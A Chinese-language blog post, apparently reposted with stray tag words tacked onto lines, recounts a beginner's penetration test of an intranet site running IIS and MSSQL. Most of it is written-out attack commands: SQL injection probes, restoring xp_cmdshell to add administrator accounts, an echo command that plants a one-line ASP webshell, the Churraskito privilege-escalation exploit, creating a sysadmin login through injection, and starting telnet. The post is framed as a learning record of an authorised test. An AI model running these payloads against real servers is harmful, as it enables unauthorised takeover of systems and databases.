記一次內網滲透測試經歷

話說剛開始接觸安全測試時,沒有一個系統的概念,前輩仍一個內網測試網站,讓我把的shell拿下來,那我就開始吭哧吭哧的幹起來。web

首先,作滲透測試要有個思路,不能埋頭苦幹。因此就開始理了下思路,具體以下:sql

  1. 判斷有無sql注入點,根據sql注入點來判斷數據庫類型,如果mssqlserver則查看存儲過程xp_cmdshell 查看其是否被禁用,若沒有被禁用,則直接在注入點後面直接使用xp_cmdshell 存儲過程向系統中添加權限。
  2. 判斷是否有上傳漏洞,主要是上傳asp等一句話腳本,先獲得webshell,而後利用webshell再獲取系統shell
  3. 主要是利用sa,和第一種思路大體同樣

主要就這幾種思路,下面就開始實施。shell

首先,針對思路一: 

既然是判斷有無sql注入,最方便的方法固然是使用工具進行掃描,這裏我使用的是webcruiser,一個很是小巧的工具,固然我這裏確定可以掃描出sql注入漏洞,接下來固然能夠繼續用這個工具獲得數據庫等信息,而我在這裏就直接在該sql注入點是否可以執行xp_cmdshell數據庫

具體方法是這樣的:windows

  1. 肯定數據庫類型:

?Id=1234;and (select count(*) from sysobjects)>0安全

 

  1. 獲得當前鏈接名和數據庫名,查看是否爲sa鏈接。

?id=1234;and user>0 (若顯示dbo 則表明sa)函數

?id=1234;and db_name()>0,執行異常時,能夠獲得當前鏈接的數據庫名。工具

  1. 查看xp_cmdshell是否被禁用。

?id=1234;and (select count(*) from master.dbo.sysobjects where  xtype=」X」 and name =’xp_cmdshell’)sqlserver

  1. 若存儲過程被刪掉,則嘗試恢復。

?id=1234;and exec sp_addextendepro  xp_cmdshell,’xplog70.dll’測試

若出現下面的錯誤,能夠嘗試以下方法:

l 沒法裝載 DLL xpsql70.dll 或該DLL 所引用的某一DLL。緣由126 (找不到指定模塊)

首先執行,exec sp_dropextendeproc 「xp_cmdshell」 ,而後執行sp_addextendeproc 「xp_cmdshell」,」xpsql70.dll」

l 沒法再庫xpweb70.dll 中找到函數xp_cmdshell 緣由127

首先執行 exec sp_dropextendeproc 「xp_cmdshell」 ,而後執行 exec sp_addextendeproc 「xp_cmdshell」,」xpweb70.dll」

  1. 則利用存儲過程,執行添加用戶的操做。

?id=1234 ;exec master..xp_cmdshell 「net user aaa bbb /add 」--  其中aaa爲用戶名,bbb爲密碼。

添加到管理員組:

?id=1234 ;exec master..xp_cmdshell 「net  localgroup administrators aaa/add 」

  1. 若想備份數據庫,則採用:

?id=1234 ;exec backup database 數據庫名 to disk =’C:\inetpub/wwwroot\save.db’,固然前提是知道web虛擬路徑。

  1. 固然當知道web虛擬路徑的時候,能夠經過製造一個unicode 漏洞來完成對計算機的控制。

?id=1234;exec master..xp_cmdshell 「copy c:\windows\system32\cmd.exe  c:\inetpub\scripts\cmd.exe」

 

上面的主要是利用xp_cmdshell 方法來的,若是其中的方法不起做用,那就另當別論了。

 

針對思路二:

既然是經過上傳一個文件,那麼首先要作的工做就是找各類上傳路徑,在前臺摸索了半天也沒有找到一個能夠上傳的功能,然後使用後臺上傳功能,經過找各類後臺,其中發現個admin這個後臺,無奈,用戶名和密碼均沒法經過驗證,從數據庫裏面看,也沒有相應的用戶名和密碼,因此這個後臺基本上是個無效的後臺,沒辦法,眼看着上傳這條路就要失效了,此時我又使用了webcruiser 對整個網站掃描了下,發現該軟件有cmd模式,並且可以執行成功,此時思路就來了,既然應用程序先後臺均沒法上傳,何不在這裏直接使用cmd命令來創建一個asp文件呢?固然前提是要知道web虛擬路徑在哪裏。

通常狀況下,web虛擬路徑一般是這樣的:C:\inetpub\wwwroot ;D:\inetpub\wwwroot  ;

或者E:\inetpub\wwwroot 等 就這幾個路徑,而虛擬能夠執行的目錄通常是C:\inetpub\scripts D:\inetpub\scripts ; E:\inetpub\scripts

接下來,我在cmd命令下,直接執行一條命令:

echo ^<^%execute^(request^("eval"^)^)^%^>  c:\inetpub\wwwroot\cms\test123456.asp

在這個目錄下,生成了個一句話木馬asp文件,而後再使用菜刀鏈接,okwebshell拿到。

獲得webshell 不是最主要的,並且webshell 也沒有什麼太大的做用,所以就嘗試使用webshell往相應目錄傳送咱們的攻擊文件,嘗試了幾個目錄均沒有發現能夠執行的目錄,在快要放棄的狀況下,而後嘗試了C:\recycle這個目錄,發現能夠上傳能夠執行的文件,下面就簡單了。

接下來的思路很簡單,就是上傳一個後面軟件,執行系統權限添加操做。在作到過程當中,仍是遇到了很多困難,例如,開始上傳的瑞士軍刀,想經過反彈端口來執行咱們添加用戶的操做,發現沒法成功。

在後來,經過一些0day的溢出漏洞來取得系統權限,在網上搜羅了一大堆的0day軟件,均發現不能夠利用,後來看到「巴西烤肉」這款軟件,英文名Churraskito.exe,這款0day溢出軟件是如此的強大,並且我下的這個還麼有後門,直接執行Churraskito 「C:\windows\system32\cmd.exe 」 「net user 111 111/add」成功添加用戶,哈哈,固然若是你想加到管理員組,在使用Churraskito 「C:\windows\system32\cmd.exe 」 「net localgroup administrators  111 /add」 基本上就ok了,至此,一個簡單的獲取系統權限的滲透測試就算完成了。

這裏直接用webcruiser 中的cmd命令,直接執行添加用戶操做就能夠了,省去了後面的一系列操做。擦得,後來纔想到的,唉。。。

 

思路三:

既然能夠執行,未必非要xp_cmdshell ,咱們能夠經過嘗試sa,這個操做,例如,先在數據庫中創建一個用戶,而後把該用戶提高爲sysadmin,以後在使用查詢分析器鏈接,固然仍是要使用xp_cmdshell 的存儲過程。

具體方法以下:

首先創建數據庫用戶:

?id=1234;exec master.dbo.sp_addlogin user;

固然也能夠爲這個用戶賦予密碼,其實無所謂,若是賦予密碼的話,這樣操做:

?id=1234;exec master.dbo.password null ,password ,user;

這裏的null就是舊密碼,password 爲新密碼。

而後將該用戶提高權限:

?id=1234;exec master.dbo.sp_addsrvrolemember user,sysadmin;

提高成功後,就能夠經過查詢分析器鏈接,鏈接成功後,直接查看xp_cmdshell是否能用;若是能用,則直接提高權限操做,;例如:

Xp_cmdshell ‘net user’

Xp_cmdshell ‘net user test123 test123 /add’

Xp_cmdshell ‘net localgroup administrators test123/add ’

Xp_cmdshell ‘net user test123 /del’

等。

開啓telnet服務:

Xp_cmdshell ‘net start tlntsvr’

總結:

在這期間,我知道了webshell shell 不是一回事,也知道了xp_cmdshell是能夠獲取系統權限的,也知道了 有些工具是能夠執行cmd命令的,固然我也初步瞭解下瑞士軍刀 巴西烤肉等一系列攻擊工具的用法,固然也瞭解到一些系統是能夠被0day的。雖然此次滲透還有不少沒有了解的地方,雖然只是大體的瞭解下,可是,對之後這方面,應該有個很好的思路以及借鑑。安全這塊,任重而道遠,以此勉勵本身。

相關文章
相關標籤/搜索